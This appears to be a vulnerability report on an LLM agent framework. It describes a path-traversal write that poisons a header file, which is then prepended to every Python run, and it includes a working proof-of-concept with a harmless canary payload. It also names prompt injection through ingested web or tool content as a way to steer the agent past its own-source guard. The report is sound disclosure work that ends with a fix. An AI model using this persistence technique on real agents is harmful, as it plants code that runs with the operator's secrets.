What
code_run prepends assets/code_run_header.py to every Python run before executing it (ga.py:26-27 at 284b332). file_write resolves its target through GenericAgentHandler._get_abs_path, which does os.path.abspath(os.path.join(self.cwd, path)) with no containment check (ga.py:294-296), and do_file_write routes every write through it (ga.py:396). A write with path="../assets/code_run_header.py" escapes the working dir and overwrites a file that code_run then prepends and runs on every subsequent Python run.
How to reproduce
No model is needed for this — the path escape, the write, and the prepend-exec are all deterministic. The snippet below calls the real upstream functions (_get_abs_path, do_file_write, code_run) at the current HEAD 284b332:
import os, sys, tempfile, uuid
sys.path.insert(0, "path/to/GenericAgent") # checkout at 284b332
import ga
from ga import GenericAgentHandler
sandbox = tempfile.mkdtemp()
os.makedirs(f"{sandbox}/assets"); os.makedirs(f"{sandbox}/temp")
ga.script_dir = sandbox # so the real tracked header stays untouched
nonce = "canary_" + uuid.uuid4().hex
marker = os.path.join(tempfile.gettempdir(), nonce)
# minimal handler: bypass __init__ (no LLM client needed for these two tools)
h = GenericAgentHandler.__new__(GenericAgentHandler)
h.cwd = f"{sandbox}/temp"; h.working = {}; h._get_anchor_prompt = lambda skip=False: ""
class Resp: pass
resp = Resp(); resp.content = ""
# 1. unjailed resolver (ga.py:294-296): ../assets/... resolves outside cwd
print(h._get_abs_path("../assets/code_run_header.py"))
# -> <sandbox>/assets/code_run_header.py (outside <sandbox>/temp)
# 2. real do_file_write writes the header outside cwd (ga.py:396).
# The header MUST end with a newline: code_run concatenates header+code into
# one run, so without a trailing \n (or ';') you get a SyntaxError. Content
# delivered via <file_content> tags is .strip()ed by extract_robust_content
# (ga.py:401-402), so use the `content` arg (written verbatim) or end with ';'.
header = ("import pathlib, tempfile\n"
f"pathlib.Path(tempfile.gettempdir(), {nonce!r}).write_text('ran')\n")
for chunk in h.do_file_write({"path": "../assets/code_run_header.py", "content": header}, resp):
pass
# 3. real code_run prepends + executes the header (ga.py:26-27)
for chunk in ga.code_run("print('2+2=', 2+2)\n", code_type="python",
cwd=f"{sandbox}/temp", code_cwd=f"{sandbox}/temp"):
pass
print(os.path.exists(marker)) # -> True
Observed (running the above against the upstream code at HEAD): the resolver returns <sandbox>/assets/code_run_header.py, which is outside <sandbox>/temp; do_file_write completes with Overwrite 成功 (122 bytes); code_run prints 2+2= 4 and exits 0; and the marker file exists with content 'ran'. The innocuous code ran and the poisoned header ran with it — so anything placed in that header executes on every future code_run, with the agent process's environment.
Impact / scope
The exec leg is deterministic and persistent: the header re-runs on every code_run, survives restarts, and runs with the agent process's environment (API keys in scope). The write leg that gets you there is LLM-mediated — it needs the model to be steered (for example by content the agent ingests from a web page or tool output) into issuing one file_write to the header path and past the "ask before modifying own source" prompt guard, so exploitability is model- and framing-dependent. This is operator-local: the conductor HTTP surface binds to 127.0.0.1 by default (frontends/conductor.py:26), so it is reachable only on loopback, and the file_write itself runs inside the agent process the operator already launched. Not a sandbox escape: unrestricted file_write and code_run are intended features; the gap is the missing path jail and the absence of an integrity check on the prepended header.
Suggested change
Jail _get_abs_path to the working dir (reject anything that resolves outside it), and integrity-check the header (e.g. a hash pin) before prepending and executing it — or stop prepending a mutable file. Happy to open a PR if useful.
What
code_runprependsassets/code_run_header.pyto every Python run before executing it (ga.py:26-27at284b332).file_writeresolves its target throughGenericAgentHandler._get_abs_path, which doesos.path.abspath(os.path.join(self.cwd, path))with no containment check (ga.py:294-296), anddo_file_writeroutes every write through it (ga.py:396). A write withpath="../assets/code_run_header.py"escapes the working dir and overwrites a file thatcode_runthen prepends and runs on every subsequent Python run.How to reproduce
No model is needed for this — the path escape, the write, and the prepend-exec are all deterministic. The snippet below calls the real upstream functions (
_get_abs_path,do_file_write,code_run) at the current HEAD284b332:Observed (running the above against the upstream code at HEAD): the resolver returns
<sandbox>/assets/code_run_header.py, which is outside<sandbox>/temp;do_file_writecompletes withOverwrite 成功 (122 bytes);code_runprints2+2= 4and exits 0; and the marker file exists with content'ran'. The innocuous code ran and the poisoned header ran with it — so anything placed in that header executes on every futurecode_run, with the agent process's environment.Impact / scope
The exec leg is deterministic and persistent: the header re-runs on every
code_run, survives restarts, and runs with the agent process's environment (API keys in scope). The write leg that gets you there is LLM-mediated — it needs the model to be steered (for example by content the agent ingests from a web page or tool output) into issuing onefile_writeto the header path and past the "ask before modifying own source" prompt guard, so exploitability is model- and framing-dependent. This is operator-local: the conductor HTTP surface binds to127.0.0.1by default (frontends/conductor.py:26), so it is reachable only on loopback, and thefile_writeitself runs inside the agent process the operator already launched. Not a sandbox escape: unrestrictedfile_writeandcode_runare intended features; the gap is the missing path jail and the absence of an integrity check on the prepended header.Suggested change
Jail
_get_abs_pathto the working dir (reject anything that resolves outside it), and integrity-check the header (e.g. a hash pin) before prepending and executing it — or stop prepending a mutable file. Happy to open a PR if useful.